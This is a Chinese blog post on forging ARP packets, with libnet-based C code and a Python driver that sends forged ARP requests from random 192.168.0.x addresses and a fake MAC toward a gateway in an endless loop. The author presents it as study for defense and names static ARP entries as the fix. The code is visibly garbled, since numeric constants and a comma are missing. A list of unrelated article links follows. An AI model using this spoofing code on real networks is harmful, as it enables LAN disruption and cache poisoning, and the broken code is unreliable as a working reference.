ARP数据包伪造
一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件亦是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪造的。
网络系统功与防的矛盾斗争,可以使得我们更加快速的发现并修补系统漏洞,而且这种矛盾关系必然存在。
人外有人,天外有天。
攻的最高境界便是不战,是和平。
静态arp表项轻松破解ARP伪造报文的攻击。我们研究伪造报文的目的在于深刻理解系统以更好地防御,而非攻击。
ARP : Address Resolution Protocol,地址解析协议,其基本功能为通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,不过在IPv6中已不再适用,并被邻居发现协议(NDP)所替代。
——维基百科
基础资料推荐:《TCP-IP详解 卷1:协议》《ARP协议简介》
需要注意,书中阐述的大多数arp缓存更新规则对现代操作系统已经不再适用,试想,一次ARP广播就可以更新当前局域网中所有主机的arp缓存条目,这是多么大的系统漏洞?一轮ARP伪造报文的攻击,便能使这个局域网主机之间的通讯陷入瘫痪。所以,现代操作系统采取了更加保守的arp缓存更新规则,上图已在Win7-64位操作系统与Linux 2.6.32内核上获得验证。
一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件也是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪造的。
操作系统与硬件具有构造数据包的能力,当操作系统把这种能力以系统调用的方式提供给编程者时,则,编程者亦拥有了构造任意数据包的能力。
而Libnet又对这些系统调用进行了又一次的逻辑封装,将这些能力以更加容易使用的方式展露出来,以加快应用程序的开发速度。
实验环境为GNU/Linux,以太网,主机应已安装libnet。
ForgeArp.c
//// # gcc ForgeArp.c -lnet -shared -fPIC -o ForgeArp.so
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes
)
{
libnet_t *net_t = NULL;
unsigned long src_ip,dst_ip = ;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=;
src_ip = libnet_name2addr4(net_t,src_ip_str,LIBNET_RESOLVE);
if (src_ip==-)
{
printf("error: libnet_name2addr4 src_ip \n");
return ;
}
dst_ip = libnet_name2addr4(net_t,dst_ip_str,LIBNET_RESOLVE);
if (dst_ip==-)
{
printf("error: libnet_name2addr4 dst_ip \n");
return ;
} printf("the src_ip_str is %s,uint32 src_ip is %d\n",src_ip_str,src_ip);
printf("the dst_ip_str is %s,uint32 dst_ip is %d\n",dst_ip_str,dst_ip); net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return ;
} p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)&src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)&dst_ip,//dest ip addr
NULL,//payload
,//payload length
net_t,//libnet context
//0 stands to build a new one
); if(- == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return ;
} p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
NULL,//payload
,//payload length
net_t,//libnet context
//0 to build a new one
); if(- == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return ;
} int res;
i=;
for(;i<sendTimes;i++)
if(- == (res = libnet_write(net_t)))
{
printf("libnet_write error!\n");
libnet_destroy(net_t);
return ;
} libnet_destroy(net_t);
return ;
FAIL:
libnet_destroy(net_t);
return ;
}
我们已经将ForgeArp功能编译成了shared object,接下来Python入场。
forgeArpTest.py
"""
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes
)
"""
import time
import random
from ctypes import *
arpLib=CDLL('./ForgeArp.so') def MacTran(macStr):
MacType= c_ubyte * 6
macStr=macStr.translate(None,":")
return MacType(int(macStr[0:2],16),int(macStr[2:4],16),int(macStr[4:6],16),\
int(macStr[6:8],16)int(macStr[8:10],16),int(macStr[10:12],16))
while True:
lis=["192.168.0."]
lis.append(str(int(random.random()*1000/4)))
if lis[1]=='':
continue
arpLib.ForgeAndSendArp("eth0",MacTran("66:66:66:66:66:66"),MacTran("FF:FF:FF:FF:FF:FF") \
,''.join(lis),"192.168.0.1",c_ushort(1),c_uint(2))
time.sleep(1) print ":)"
关于ForgeAndSendArp函数中arpOp参数的选项如下:
// 源码头文件
libnet-1.2-rc3\include\libnet\libnet-headers.h
// 仅摘部分内容
uint16_t ar_op; /* operation type */
#define ARPOP_REQUEST 1 /* req to resolve address */
#define ARPOP_REPLY 2 /* resp to previous request */
#define ARPOP_REVREQUEST 3 /* req protocol address given hardware */
#define ARPOP_REVREPLY 4 /* resp giving protocol address */
#define ARPOP_INVREQUEST 8 /* req to identify peer */
#define ARPOP_INVREPLY 9 /* resp identifying peer */
代码测试无误。
静态arp表项轻松破解ARP伪造报文的攻击。我们伪造报文的目的在于深刻理解系统以更好地防御,而非攻击。
如有问题或者优化建议,欢迎讨论!
ARP数据包伪造的更多相关文章
- ARP数据包分析
转载请注明来源:https://www.cnblogs.com/hookjc/ 本机IP:192.168.0.1 (c0 a8 00 01)本机MAC:00-50-56-c0-00-01目标IP:19 ...
- ARP数据包
结构ether_header定义了以太网帧首部:结构arphdr定义了其后的5个字段,其信息用于在任何类型的介质上传送ARP请求和回答:ether_arp结构除了包含arphdr结构外,还包含源主机和 ...
- scapy构造打印ARP数据包
ARP格式: 用于以太网的ARP请求/应答分组格式 各字段含义: 帧类型:表示数据部分用什么协议封装(0800表示IP,0806表示ARP,8035表示RARP). 硬件类型:表示硬件地址的类型(其中 ...
- 010 使用netmap API接管网卡,接收数据包,回应ARP请求
一.本文目的: 上一节中,我们已经在CentOS 6.7 上安装好了netmap,也能接收和发送包了,这节我们来调用netmap中的API,接管网卡,对网卡上收到的数据包做分析,并回应ARP请求. 二 ...
- 从零开始学安全(四十二)●利用Wireshark分析ARP协议数据包
wireshark:是一个网络封包分析软件.网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料.Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换,是目前 ...
- 强大的数据包处理程序scapy
实验目的 利用scapy工具构造arp.icmp数据包,发送到目标主机,根据应答包推测出目标系统存活情况 实验原理 Scapy是Python写的一个功能强大的交互式数据包处理程序,可用来发送.嗅探.解 ...
- Tcp/Ip协议族简单解读及网络数据包/报/帧数据格式及封装及解包;
http://www.creseek.cn/products-install/install_on_bsd_linux/ 中文检索 离线cloudera ecosystem components: h ...
- linux系统中使用socket直接发送ARP数据
这个重点是如这样创建socket: sock_send = socket ( PF_PACKET , SOCK_PACKET , htons ( ETH_P_ARP) ) ; 其后所有收发的数据都是 ...
- Wireshark wireshake数据包分割及捕包过滤器介绍
wireshake数据包分割及捕包过滤器介绍 by:授客 QQ:1033553122 wireshake自带工具editcap分割数据包 操作: 进入到目录,然后 editcap.exe -c < ...
随机推荐
- windows命令行工具
winver 检查Windows版本 wmimgmt.msc 打开Windows管理体系结构(wmi) wupdmgr Windows更新程序 wscript Windows脚本宿主设置 write ...
- RBM
1. 玻尔兹曼分布: $$p(E) \thicksim e^{-E/kT} $$ 2. RBM 两层:隐层和可视层, $\mathbf v$, $\mathbf h$ $$v_i \in \{0, 1 ...
- 转载maven安装,配置,入门
转载:http://www.cnblogs.com/dcba1112/archive/2011/05/01/2033805.html 本书代码下载 大家可以从我的网站下载本书的代码:http://ww ...
- Java并发--ConcurrentModificationException(并发修改异常)异常原因和解决方法
在前面一篇文章中提到,对Vector.ArrayList在迭代的时候如果同时对其进行修改就会抛出java.util.ConcurrentModificationException异常.下面我们就来讨论 ...
- bzoj 1858 序列操作
bzoj 1858 序列操作 带有随机多个区间单值覆盖的区间操作题,可考虑用珂朵莉树解决. #include<bits/stdc++.h> using namespace std; #de ...
- LOJ2324. 「清华集训 2017」小 Y 和二叉树【贪心】【DP】【思维】【好】
LINK 思路 首先贪新的思路是处理出以一个节点为根所有儿子的子树中中序遍历起始节点最小是多少 然后这个可以两次dfs来DP处理 然后就试图确定中序遍历的第一个节点 一定是siz<=2的编号最小 ...
- Lua table
获取数组长度 在Lua中可以使用“#”和table.maxn两种方法来获取数组的长度 arr = {,,,} arr[] = 7 都仅统计数字key的长度: #是从1递增到nil的长度: table. ...
- win7下VS2010编译python3
转自:http://www.cnblogs.com/fortwo/archive/2013/04/16/3023871.html 1.首先从python.org上:http://www.python. ...
- Request对象主要用于获取来自客户端的数据,如用户填入表单的数据、保存在客户端的Cookie等。
1.主要属性 ApplicationPath 获取服务器上asp.net应用程序的虚拟应用程序根路径 Browser 获取有关正在请求的客户端的浏览器功能的信息,该属性值为:HttpBrows ...
- Wordpress主题站
深度剖析WordPress主题结构 http://down.chinaz.com/try/201106/640_1.htm wordpress工作原理 http://blog.csdn.net/liu ...